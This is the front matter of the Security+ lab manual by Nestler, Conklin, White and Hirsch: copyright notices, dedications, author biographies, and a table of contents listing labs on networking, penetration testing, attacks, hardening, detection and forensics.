1/2 reading
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
New York Chicago San Francisco
Lisbon London Madrid Mexico City
Milan New Delhi San Juan
Seoul Singapore Sydney Toronto
Principles of Computer Security: CompTIA
Security+™ and Beyond Lab Manual Second Edition
Vincent Nestler Wm. Arthur Conklin
Gregory White Matthew Hirsch
FM.indd 1 11/18/10 2:17:04 PM
Copyright © 2011 by The McGraw-Hill Companies. All rights reserved. Except as permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher.
ISBN: 978-0-07-174857-5
MHID: 0-07-174857-1
The material in this eBook also appears in the print version of this title: ISBN: 978-0-07-174856-8, MHID: 0-07-174856-3.
All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a trademarked name, we use names in an editorial fashion only, and to the benefi t of the trademark owner, with no intention of infringement of the trademark. Where such designations appear in this book, they have been printed with initial caps.
McGraw-Hill eBooks are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate training programs. To contact a representative please e-mail us at [email protected].
Information has been obtained by McGraw-Hill from sources believed to be reliable. However, because of the possibility of human or mechanical error by our sources, McGraw-Hill, or others, McGraw-Hill does not guarantee the accuracy, adequacy, or completeness of any information and is not responsible for any errors or omissions or the results obtained from the use of such information.
TERMS OF USE
This is a copyrighted work and The McGraw-Hill Companies, Inc. (“McGrawHill”) and its licensors reserve all rights in and to the work. Use of this work is subject to these terms. Except as permitted under the Copyright Act of 1976 and the right to store and retrieve one copy of the work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative works based upon, transmit, distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill’s prior consent. You may use the work for your own noncommercial and personal use; any other use of the work is strictly prohibited. Your right to use the work may be terminated if you fail to comply with these terms.
THE WORK IS PROVIDED “AS IS.” McGRAW-HILL AND ITS LICENSORS MAKE NO GUARANTEES OR WARRANTIES AS TO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED FROM USING THE WORK, INCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK VIA HYPERLINK OR OTHERWISE, AND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. McGraw-Hill and its licensors do not warrant or guarantee that the functions contained in the work will meet your requirements or that its operation will be uninterrupted or error free. Neither McGraw-Hill nor its licensors shall be liable to you or anyone else for any inaccuracy, error or omission, regardless of cause, in the work or for any damages resulting therefrom. McGraw-Hill has no responsibility for the content of any information accessed through the work. Under no circumstances shall McGraw-Hill and/or its licensors be liable for any indirect, incidental, special, punitive, consequential or similar damages that result from the use of or inability to use the work, even if any of them has been advised of the possibility of such damages. This limitation of liability shall apply to any claim or cause whatsoever whether such claim or cause arises in contract, tort or otherwise.
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/ Blind Folio iii
To my mother, for giving me that deep-seated feeling
that comes from knowing a mother’s love.
—Vincent Nestler
To Mike Meyers, forever reminding me of the power
of hands-on learning, and to Tiffany and Susan,
who made those sessions a lot more fun.
—Art Conklin
FM.indd 3 11/18/10 2:17:05 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/ Blind Folio iv
About the Authors Vincent Nestler, M.S. Network Security, Capitol College, and M.A.T. Education, Columbia University, is a net-
work engineering consultant and technical trainer with over 20 years of experience in network administra-
tion and security. Mr. Nestler served as a Data Communications Maintenance Officer in the U.S. Marine Corps
Reserve. During his service, he designed and implemented the training for Marines assigned to the Defense
Information Systems Agency (DISA) Computer Emergency Response Team. He also served as the Assistant
Operations Officer (training) for the Joint Broadcast System, during its transition to DISA. Since 2007, Mr.
Nestler has been integral to training CyberCorps students at the National Information Assurance Training
and Education Center (NIATEC) at Idaho State University. He has developed the curriculum for 2 year, 4 year,
and graduate programs in Networking and Information Assurance. He is currently a Professor of Practice in
Information Assurance at Capitol College. Mr. Nestler’s professional certifications include the Security+,
Network +, and A+.
Wm. Arthur Conklin, Ph.D., is an assistant professor in the College of Technology and Director of the Center
for Information Security Research and Education at the University of Houston. Dr. Conklin has terminal
degrees from the Naval Postgraduate School in electrical engineering and The University of Texas at San Antonio
in business administration. Dr. Conklin’s research interests lie in the areas of software assurance and the
application of systems theory to security issues associated with critical infrastructures. His dissertation was
on the motivating factors for home users in adopting security on their own PCs. He has coauthored four books
on information security and has written and presented numerous conference and academic journal papers.
He has over ten years of teaching experience at the college level and has assisted in building two information
security programs that have been recognized by the NSA and DHS as National Centers of Academic Excellence
in Information Assurance Education. A former U.S. Navy officer, he was also previously the Technical
Director at the Center for Infrastructure Assurance and Security at The University of Texas at San Antonio.
Gregory White, Ph.D., has been involved in computer and network security since 1986. He spent 30 years on
active duty or in the Reserves with the U.S. Air Force. He obtained his Ph.D. in computer science from Texas
A&M University in 1995. His dissertation topic was in the area of computer network intrusion detection, and
he continues to conduct research in this area today. He is currently the Director for the Center for Infrastruc-
ture Assurance and Security (CIAS) and is an associate professor of computer science at The University of
Texas at San Antonio. Dr. White has written and presented numerous articles and conference papers on secu-
rity. He is also the coauthor of five textbooks on computer and network security and has written chapters for
two other security books. Dr. White continues to be active in security research. His current research initiatives
include efforts in high-speed intrusion detection, community infrastructure protection, and visualization of
community and organization security postures.
Matthew Hirsch, M.S. Network Security, Capitol College, B.A. Physics, State University of New York (SUNY)
New Paltz, has worked in the information security operations group for a large financial firm (which prefers
to remain unnamed), in data distribution for firms including Deutsche Bank and Sanwa Securities, and in
systems/network administration for Market Arts Software. Formerly an adjunct professor at Capitol College,
Katharine Gibbs School, and DeVry, Mr. Hirsch also enjoys a long-term association with Dorsai, a New York City
nonprofit ISP/hosting firm.
FM.indd 4 11/18/10 2:17:05 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/ Blind Folio v
About the Series Editor Corey D. Schou, Ph.D., is the University Professor of Informatics and the Associate Dean of the College of
Business at Idaho State University. He has been involved in establishing computer security and information
assurance training and standards for 25 years. His research interests include information assurance, ethics,
privacy, and collaborative decision making. He was responsible for compiling and editing computer security
standards and training materials for the Committee on National Security Systems (CNSS). Throughout his
career, Dr. Schou has remained an active classroom teacher despite his research and service commitments.
He is the founding director of the Informatics Research Institute and the National Information Assurance
Training and Education Center (NIATEC) that was designated a National Center of Academic Excellence in
Information Assurance Education. In 1996, his research center was cited by the Information Systems Security
Association (ISSA) for Outstanding Contributions to the Security Profession and he was selected as the Edu-
cator of the Year by the Federal Information Systems Security Educators Association (FISSEA). In 1997, the
Masie Institute and TechLearn Consortium recognized his contributions to distance education. In 2001,
Dr. Schou was honored by the International Information Systems Security Certification Consortium [(ISC)2]
with the Tipton award for his work in professionalization of computer security and his development of the
generally accepted common body of knowledge (CBK) used in the certification of information assurance
professionals. Dr. Schou serves as the chair of the Colloquium for Information Systems Security Education
(CISSE). Under his leadership, the Colloquium creates an environment for exchange and dialogue among
leaders in government, industry, and academia concerning information security and information assurance
education. In addition, he is the editor of Information Systems Security and serves on the board of several
professional organizations.
About the Technical Editor Chris Crayton (CompTIA A+, CompTIA Network+, MCSE) is an author, editor, technical consultant, and
trainer. Mr. Crayton has worked as a computer and networking instructor at Keiser University, where he was
awarded 2001 Teacher of the Year, as network administrator for Protocol, an eCRM company, and as a com-
puter and network specialist at Eastman Kodak. Mr. Crayton has authored several print and online books on
PC repair, CompTIA A+, CompTIA Security+, and Microsoft Windows Vista. Mr. Crayton has served as techni-
cal editor on numerous professional technical titles for many of the leading publishing companies, including
CompTIA A+ All-in-One Exam Guide, and has most recently contributed to Mike Meyers CompTIA A+ Test Bank and Mike
Meyers’ CompTIA Network+ Certification Passport.
FM.indd 5 11/18/10 2:17:05 PM
This page intentionally left blank
vii
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Contents at a Glance
PArt I NetWorkING BASICS: HoW Do NetWorkS Work? . . . . . . . . . . . 1
Chapter 1 Workstation Network Configuration and Connectivity . . . . . 3
Chapter 2 Network Transports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Chapter 3 Network Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
PArt II VulNerABIlItIeS AND tHreAtS: HoW CAN
SySteMS Be CoMProMISeD? . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Chapter 4 Penetration Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
Chapter 5 Attacks Against Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
Chapter 6 More Attacks: Trojan Attacks, MITM, Steganography . . . . . . . 141
PArt III PreVeNtIoN: HoW Do We PreVeNt HArM to NetWorkS? . . . 165
Chapter 7 Hardening the Host Computer . . . . . . . . . . . . . . . . . . . . . . . . . . . 167
Chapter 8 Securing Network Communications . . . . . . . . . . . . . . . . . . . . . . 191
PArt IV DeteCtIoN AND reSPoNSe: HoW Do We DeteCt
AND reSPoND to AttACkS? . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Chapter 9 Preparing for and Detecting Attacks . . . . . . . . . . . . . . . . . . . . . 255
Chapter 10 Digital Forensics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 321
FM.indd 7 11/18/10 2:17:06 PM
This page intentionally left blank
ix
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Contents Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xv
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvi
Additional Resources for Teachers . . . . . . . . . . . . . . . . . . . . . . . . . xx
PArt I NetWorkING BASICS: HoW Do NetWorkS Work? . . . . . . . . . . . . . . 1
Chapter 1 Workstation Network Configuration and Connectivity . . . . . . 3 Lab 1.1: Network Workstation Client Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Lab 1.1w: Windows Client Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Lab 1.1l: Linux Client Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Lab 1.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Lab 1.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Lab 1.2: Computer Name Resolution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
Lab 1.2w: Name Resolution in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
Lab 1.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
Lab 1.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Lab 1.3: IPv6 Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Lab 1.3w: Windows IPv6 Basics (netsh/ping6) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Lab 1.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Lab 1.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Chapter 2 Network Transports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Lab 2.1: Network Communication Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Lab 2.1w: Network Communication Analysis in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Lab 2.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
Lab 2.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
Lab 2.2: Port Connection Status . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Lab 2.2w: Windows-Based Port Connection Status . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Lab 2.2l: Linux-Based Port Connection Status . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
Lab 2.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Lab 2.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
FM.indd 9 11/18/10 2:17:07 PM
Contentsx
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Chapter 3 Network Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 Lab 3.1: FTP Communication (FTP-HTTP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Lab 3.1w: Windows FTP Communication (FTP-HTTP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Lab 3.1l: Linux FTP Communication (FTP-HTTP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Lab 3.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
Lab 3.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Lab 3.2: E-Mail Protocols: SMTP and POP3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Lab 3.2m: Windows E-Mail: SMTP and POP3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Lab 3.2l: Linux E-Mail: SMTP and POP3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Lab 3.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
Lab 3.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
PArt II VulNerABIlItIeS AND tHreAtS: HoW CAN
SySteMS Be CoMProMISeD? . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Chapter 4 Penetration Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 Lab 4.1: IP Address and Port Scanning, Service Identity Determination . . . . . . . . . . . . . . . . . . . . . . 86
Lab 4.1w: Using Nmap in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
Lab 4.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
Lab 4.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
Lab 4.2: GUI-Based Vulnerability Scanners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Lab 4.2m: Using a Vulnerability Scanner (OpenVAS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Lab 4.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Lab 4.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Lab 4.3: Researching System Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Lab 4.3i: Researching System Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
Lab 4.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
Lab 4.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Lab 4.4: Using Metasploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Lab 4.4l: Using the Metasploit Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108
Lab 4.4 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Lab 4.4 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112
Lab 4.5: Password Cracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Lab 4.5l: Password Cracking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114
Lab 4.5 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
Lab 4.5 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
FM.indd 10 11/18/10 2:17:08 PM
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Chapter 5 Attacks Against Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 Lab 5.1: Web SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122
Lab 5.1li: Web SQL Injection in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123
Lab 5.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
Lab 5.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
Lab 5.2: Web Browser Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Lab 5.2m: Web Browser Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127
Lab 5.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Lab 5.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131
Lab 5.3: E-Mail System Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Lab 5.3m: Exploiting E-Mail Vulnerabilities in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Lab 5.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 138
Lab 5.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
Chapter 6 More Attacks: Trojan Attacks, MITM, Steganography . . . . . . . . . . 141 Lab 6.1: Trojan Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142
Lab 6.1w: Using the Spy-net Trojan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
Lab 6.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Lab 6.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149
Lab 6.2: Man-in-the-Middle Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
Lab 6.2m: Man-in-the-Middle Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Lab 6.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Lab 6.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157
Lab 6.3: Steganography . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158
Lab 6.3w: Steganography in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
Lab 6.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
Lab 6.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164
PArt III PreVeNtIoN: HoW Do We PreVeNt HArM to NetWorkS? . . . . . 165
Chapter 7 Hardening the Host Computer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 Lab 7.1: Hardening the Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168
Lab 7.1w: Hardening Windows XP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 169
Lab 7.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
Lab 7.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
Contents xi
FM.indd 11 11/18/10 2:17:09 PM
Contentsxii
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
Lab 7.2: Using Antivirus Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180
Lab 7.2w: Antivirus in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181
Lab 7.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Lab 7.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185
Lab 7.3: Using Firewalls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
Lab 7.3l: Configuring a Personal Firewall in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
Lab 7.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
Lab 7.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
Chapter 8 Securing Network Communications . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 Lab 8.1: Using GPG to Encrypt and Sign E-Mail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
Lab 8.1m: Using GPG in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193
Lab 8.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206
Lab 8.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207
Lab 8.2: Using Secure Shell (SSH) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 208
Lab 8.2l: Using Secure Shell in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
Lab 8.2m: Using Secure Shell in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
Lab 8.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Lab 8.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Lab 8.3: Using Secure Copy (SCP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 220
Lab 8.3l: Using Secure Copy in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
Lab 8.3m: Using Secure Copy in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225
Lab 8.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 230
Lab 8.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231
Lab 8.4: Using Certificates and SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
Lab 8.4l: Using Certificates and SSL in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234
Lab 8.4 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Lab 8.4 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Lab 8.5: Using IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242
Lab 8.5w: Using IPsec in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 244
Lab 8.5 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 250
Lab 8.5 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251
FM.indd 12 11/18/10 2:17:09 PM
Contents xiii
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / FM/
PArt IV DeteCtIoN AND reSPoNSe: HoW Do We DeteCt
AND reSPoND to AttACkS? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253
Chapter 9 Preparing for and Detecting Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . 255 Lab 9.1: System Log Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256
Lab 9.1w: Log Analysis in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Lab 9.1l: Log Analysis in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262
Lab 9.1 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267
Lab 9.1 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 268
Lab 9.2: Intrusion Detection Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Lab 9.2w: Using an Intrusion Detection System (Snort) in Windows . . . . . . . . . . . . . . . . . . . . . 270
Lab 9.2 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Lab 9.2 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 281
Lab 9.3: Backing Up and Restoring Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 282
Lab 9.3w: Backing Up and Restoring Data in Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 284
Lab 9.3l: Backing Up and Restoring Data in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 292
Lab 9.3 Analysis Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 298
Lab 9.3 Key Terms Quiz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 299
Chapter 10 Digital Forensics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301 Lab 10.1: Live Analysis: Incident Determination . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303
